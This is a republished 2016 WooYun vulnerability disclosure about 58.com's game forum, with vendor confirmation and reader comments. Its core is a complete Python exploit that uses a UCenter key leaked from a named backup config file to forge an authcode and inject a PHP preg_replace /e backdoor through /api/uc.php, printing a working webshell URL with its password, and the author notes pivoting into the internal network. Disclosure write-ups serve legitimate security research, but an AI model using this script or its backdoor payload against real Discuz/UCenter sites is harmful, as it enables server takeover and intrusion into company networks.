58同城某处问题导致Getshell直入大内网

admin 2017年4月28日13:50:36评论304 views字数 215阅读0分43秒阅读模式
摘要

2016-04-13: 细节已通知厂商并且等待厂商处理中
2016-04-14: 厂商已经确认,细节仅向厂商公开
2016-04-24: 细节向核心白帽子及相关领域专家公开
2016-05-04: 细节向普通白帽子公开
2016-05-14: 细节向实习白帽子公开
2016-05-29: 细节向公众公开

漏洞概要 关注数(49) 关注此漏洞

缺陷编号: WooYun-2016-195871

漏洞标题: 58同城某处问题导致Getshell直入大内网

相关厂商: 58同城

漏洞作者: sqlfeng

提交时间: 2016-04-13 16:46

公开时间: 2016-05-29 10:40

漏洞类型: 敏感信息泄露

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 敏感信息泄露

14人收藏


漏洞详情

披露状态:

2016-04-13: 细节已通知厂商并且等待厂商处理中
2016-04-14: 厂商已经确认,细节仅向厂商公开
2016-04-24: 细节向核心白帽子及相关领域专家公开
2016-05-04: 细节向普通白帽子公开
2016-05-14: 细节向实习白帽子公开
2016-05-29: 细节向公众公开

简要描述:

呜啦啦啦

详细说明:

WooYun: 58 游戏论坛后台弱口令可导致getshell

看到这个洞,陷入了沉思啊..想起了大表哥的姿势,于是我也试试~

http://bbs.wan.58.com//config/config_ucenter.php.bak

返回空.难不成执行了?连接试试,果然运气没那么好...

再试试里面泄露的UCkey吧,试试getshell

附脚本

code 区域
import sys
import hashlib
import time
import math
import base64
import urllib2
import urllib
import re
import requests
import json
global cookie
global formhash

def microtime(get_as_float = False) :
if get_as_float:
return time.time()
else:
return '%.8f %d' % math.modf(time.time())

def get_authcode(string, key = ''):
ckey_length = 4
key = hashlib.md5(key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()
key_length = len(cryptkey)
string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
string_length = len(string)
result = ''
box = range(0, 256)
rndkey = dict()
for i in range(0,256):
rndkey[i] = ord(cryptkey[i % key_length])
j=0
for i in range(0,256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
a=0
j=0
for i in range(0,string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
length=len(result)
return keyc + base64.b64encode(result).replace('=', '')
def get_cookie_formhash(host):
global cookie
global formhash
headers = {'content-type': 'application/json'}
r=requests.get(host,headers=headers)
cookie=r.cookies
hash=re.findall(r'formhash" value="[0-9A-z]{1,10}"',r.text)
_formhash=re.findall(r'"[0-9A-z]{1,10}"',hash[0])
formhash=_formhash[0].replace('"','')
def getshell(host,key):
global cookie
global formhash
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
tm=time.time()+10*3600
agent=hashlib.md5("Mozilla/5.0 (Windows NT 6.1; WOW64)")
string="agent=%s&time=%s&action=updatebadwords" % (agent,tm)
code=urllib.quote(get_authcode(string,key))
get_cookie_formhash(host)
url="%s/api/uc.php?code=%s&formhash=%s" % (host,code,formhash)
payload='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="0">
<item id="findpattern">/admin/e</item>
<item id="replacement">@preg_replace(chr(47).chr(47).chr(101),$_POST[c],chr(098));</item>
</item>
</root>'''
r=requests.post(url,data=payload,cookies=cookie,headers=header)
print url
print r.text
if re.findall('^1',r.text):
print 'success shell is %s/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=admin password is c' % (host)

if __name__ == '__main__':
commands=sys.argv[1:2]
keys=sys.argv[2:]
args="".join(commands)
argss="".join(keys)
print args,argss
if len(args) < 5:
sys.exit()
else:
getshell(args,argss)

使用方法 xxx.py url uckey

成功getshell

漏洞证明:

58同城某处问题导致Getshell直入大内网

58同城某处问题导致Getshell直入大内网

在内网,都知道赶集58在一起嘿嘿

简单探测一下reg+sockscap可以轻松实现

不贴图了,最近好累,干什么事都提不起精神,不知道为什么 ~

修复方案:

版权声明:转载请注明来源 sqlfeng@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-04-14 10:36

厂商回复:

感谢您的反馈,我们已安排专人处理。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-04-13 16:54 | 包包 ( 实习白帽子 | Rank:77 漏洞数:34 | 我是菜鸟,我怕谁?小弟新来,望大牛多多包...)

    2

    666

  2. 2016-04-13 16:58 | sqlfeng ( 普通白帽子 | Rank:721 漏洞数:86 | 江山父老能容我,不使人间造孽钱)

    1

    @包包 999

  3. 2016-04-13 17:05 | 高小厨 58同城某处问题导致Getshell直入大内网 ( 普通白帽子 | Rank:998 漏洞数:91 | 不会吹牛的小二不是好厨子!)

    1

    777

  4. 2016-04-13 17:23 | f4ckbaidu ( 普通白帽子 | Rank:265 漏洞数:33 | 开发真是日了狗了)

    1

    888

  5. 2016-04-13 17:25 | zone ( 普通白帽子 | Rank:111 漏洞数:21 | as as- as you wish)

    1

    表哥999

  6. 2016-04-13 18:22 | 齐迹 ( 普通白帽子 | Rank:804 漏洞数:104 | 重庆地区招聘安全工程师。sec.zbj.com欢迎...)

    1

    最近好多内网,求大神帮我们也测测

  7. 2016-04-13 18:34 | 0h1in9e ( 实习白帽子 | Rank:68 漏洞数:23 | 林歌 | 峨眉山下修炼中的<网络安全></web开...)

    1

    膜拜啊!

  8. 2016-04-13 20:02 | 包包 ( 实习白帽子 | Rank:77 漏洞数:34 | 我是菜鸟,我怕谁?小弟新来,望大牛多多包...)

    1

    @sqlfeng 大神6翻了

  9. 2016-04-13 23:09 | 卡卡 ( 普通白帽子 | Rank:468 漏洞数:57 | <script>alert('安全团队长期招人')</scrip...)

    1

    风哥太猛了

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin